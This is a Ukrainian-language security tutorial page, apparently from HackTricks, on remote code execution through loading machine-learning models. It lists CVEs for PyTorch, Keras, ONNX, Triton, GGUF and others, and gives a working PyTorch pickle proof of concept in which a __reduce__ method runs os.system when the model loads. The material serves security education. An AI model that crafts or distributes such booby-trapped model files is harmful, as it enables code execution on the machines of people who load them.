8.3 KiB
Models RCE
{{#include ../banners/hacktricks-training.md}}
Завантаження моделей до RCE
Моделі машинного навчання зазвичай поширюються в різних форматах, таких як ONNX, TensorFlow, PyTorch тощо. Ці моделі можуть бути завантажені на комп'ютери розробників або в продукційні системи для їх використання. Зазвичай моделі не повинні містити шкідливий код, але є випадки, коли модель може бути використана для виконання довільного коду на системі як передбачена функція або через вразливість у бібліотеці завантаження моделі.
На момент написання це деякі приклади цього типу вразливостей:
Фреймворк / Інструмент | Вразливість (CVE, якщо доступно) | RCE Вектор | Посилання |
---|---|---|---|
PyTorch (Python) | Небезпечна десеріалізація в torch.load (CVE-2025-32434) |
Шкідливий pickle в контрольній точці моделі призводить до виконання коду (обхід захисту weights_only ) |
|
PyTorch TorchServe | ShellTorch – CVE-2023-43654, CVE-2022-1471 | SSRF + завантаження шкідливої моделі викликає виконання коду; десеріалізація Java RCE в API управління | |
TensorFlow/Keras | CVE-2021-37678 (небезпечний YAML) CVE-2024-3660 (Keras Lambda) |
Завантаження моделі з YAML використовує yaml.unsafe_load (виконання коду) Завантаження моделі з Lambda шаром виконує довільний Python код |
|
TensorFlow (TFLite) | CVE-2022-23559 (парсинг TFLite) | Сформована .tflite модель викликає переповнення цілого числа → пошкодження купи (потенційний RCE) |
|
Scikit-learn (Python) | CVE-2020-13092 (joblib/pickle) | Завантаження моделі через joblib.load виконує pickle з навантаженням __reduce__ зловмисника |
|
NumPy (Python) | CVE-2019-6446 (небезпечний np.load ) суперечливий |
numpy.load за замовчуванням дозволяє завантаження об'єктних масивів – шкідливий .npy/.npz викликає виконання коду |
|
ONNX / ONNX Runtime | CVE-2022-25882 (перехід директорії) CVE-2024-5187 (перехід tar) |
Зовнішній шлях ваг моделі ONNX може вийти за межі директорії (читання довільних файлів) Шкідлива модель ONNX tar може перезаписати довільні файли (призводячи до RCE) |
|
ONNX Runtime (ризик дизайну) | (Немає CVE) Користувацькі операції ONNX / контрольний потік | Модель з користувацьким оператором вимагає завантаження рідного коду зловмисника; складні графи моделей зловживають логікою для виконання непередбачених обчислень | |
NVIDIA Triton Server | CVE-2023-31036 (перехід шляху) | Використання API завантаження моделі з увімкненим --model-control дозволяє відносний перехід шляху для запису файлів (наприклад, перезапис .bashrc для RCE) |
|
GGML (формат GGUF) | CVE-2024-25664 … 25668 (багато переповнень купи) | Неправильний файл моделі GGUF викликає переповнення буфера купи в парсері, що дозволяє виконання довільного коду на системі жертви | |
Keras (старі формати) | (Немає нових CVE) Спадковий Keras H5 модель | Шкідлива HDF5 (.h5 ) модель з кодом Lambda шару все ще виконується при завантаженні (режим безпеки Keras не охоплює старий формат – “атака з пониження”) |
|
Інші (загальні) | Недолік дизайну – серіалізація Pickle | Багато ML інструментів (наприклад, формати моделей на основі pickle, Python pickle.load ) виконуватимуть довільний код, вбудований у файли моделей, якщо не вжити заходів |
Більше того, є деякі моделі на основі python pickle, такі як ті, що використовуються PyTorch, які можуть бути використані для виконання довільного коду на системі, якщо їх не завантажити з weights_only=True
. Отже, будь-яка модель на основі pickle може бути особливо вразливою до цього типу атак, навіть якщо вони не вказані в таблиці вище.
Приклад:
- Створіть модель:
# attacker_payload.py
import torch
import os
class MaliciousPayload:
def __reduce__(self):
# This code will be executed when unpickled (e.g., on model.load_state_dict)
return (os.system, ("echo 'You have been hacked!' > /tmp/pwned.txt",))
# Create a fake model state dict with malicious content
malicious_state = {"fc.weight": MaliciousPayload()}
# Save the malicious state dict
torch.save(malicious_state, "malicious_state.pth")
- Завантажте модель:
# victim_load.py
import torch
import torch.nn as nn
class MyModel(nn.Module):
def __init__(self):
super().__init__()
self.fc = nn.Linear(10, 1)
model = MyModel()
# ⚠️ This will trigger code execution from pickle inside the .pth file
model.load_state_dict(torch.load("malicious_state.pth", weights_only=False))
# /tmp/pwned.txt is created even if you get an error
{{#include ../banners/hacktricks-training.md}}